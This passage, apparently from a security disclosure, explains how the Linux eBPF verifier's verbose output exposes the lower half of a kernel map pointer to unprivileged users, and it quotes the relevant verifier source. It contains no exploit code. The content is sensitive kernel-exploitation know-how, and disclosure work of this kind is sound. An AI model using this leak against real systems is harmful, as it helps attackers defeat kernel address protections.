When the eBPF verifier (kernel/bpf/verifier.c) runs in verbose mode,
it dumps all processed instructions to a user-accessible buffer in
human-readable form using print_bpf_insn(). For instructions with
class BPF_LD and mode BPF_IMM, it prints the raw 32-bit value:

  } else if (class == BPF_LD) {
    if (BPF_MODE(insn->code) == BPF_ABS) {
      [...]
    } else if (BPF_MODE(insn->code) == BPF_IND) {
      [...]
    } else if (BPF_MODE(insn->code) == BPF_IMM) {
      verbose("(%02x) r%d = 0x%x\n",
              insn->code, insn->dst_reg, insn->imm);
    } else {
      [...]
    }
  } else if (class == BPF_JMP) {

This is done in do_check(), after replace_map_fd_with_map_ptr() has
executed. replace_map_fd_with_map_ptr() stores the lower half of a raw
pointer in all instructions with class BPF_LD, mode BPF_IMM and size
BPF_DW (map references).

So when verbose verification is performed on a program with a map
reference, the lower half of the pointer to the map becomes visible to
the user:
